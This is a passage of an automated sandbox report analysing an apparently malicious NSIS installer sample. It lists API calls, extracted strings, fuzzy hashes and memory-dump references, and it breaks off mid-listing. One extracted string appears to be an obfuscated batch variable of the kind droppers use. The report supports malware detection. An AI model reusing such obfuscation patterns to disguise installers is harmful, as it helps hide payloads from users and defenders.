String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,open,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,open,open,00000000,00000000,open,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

open, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: wrote %d to "%s", xrefs: 00401BD0
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: error, user abort, xrefs: 00401B53
File: error, user retry, xrefs: 00401B40
File: error, user cancel, xrefs: 00401B93
File: error creating "%s", xrefs: 00401AF0

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$open
API String ID: 4286501637-2478300759
Opcode ID: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Inst, xrefs: 0040366C
soft, xrefs: 00403675
Null, xrefs: 0040367E
Error launching installer, xrefs: 004035D7

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

... %d%%, xrefs: 0040349E
Set Adidas=TyUeNegotiations-Chip-Fathers-Case-Dollars-Penalties-mxrGRochester-Vice-Assign-J-Su-Minus-Dream-ZlseMate-Taxi-Waves-Sam-Parliament-Exec-Defense-Shades-Debut-xWnInfinite-Ft-Increasing-N-Harrison-Finding-Apache-Varies-hgLouisiana-Orange-Bedf, xrefs: 004033A9
X1C, xrefs: 004033ED
X1C, xrefs: 0040343C

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$Set Adidas=TyUeNegotiations-Chip-Fathers-Case-Dollars-Penalties-mxrGRochester-Vice-Assign-J-Su-Minus-Dream-ZlseMate-Taxi-Waves-Sam-Parliament-Exec-Defense-Shades-Debut-xWnInfinite-Ft-Increasing-N-Harrison-Finding-Apache-Varies-hgLouisiana-Orange-Bedf$X1C$X1C
API String ID: 651206458-2328794914
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNEL32(006540A8), ref: 00402387

Strings

open, xrefs: 00401EFB, 00401F00, 00401F1A
Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Pop: stack empty$open
API String ID: 1459762280-1711415406
Opcode ID: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

open, xrefs: 00402770
<RM>, xrefs: 00402713
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$WriteINIStr: wrote [%s] %s=%s in %s$open
API String ID: 247603264-1827671502
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
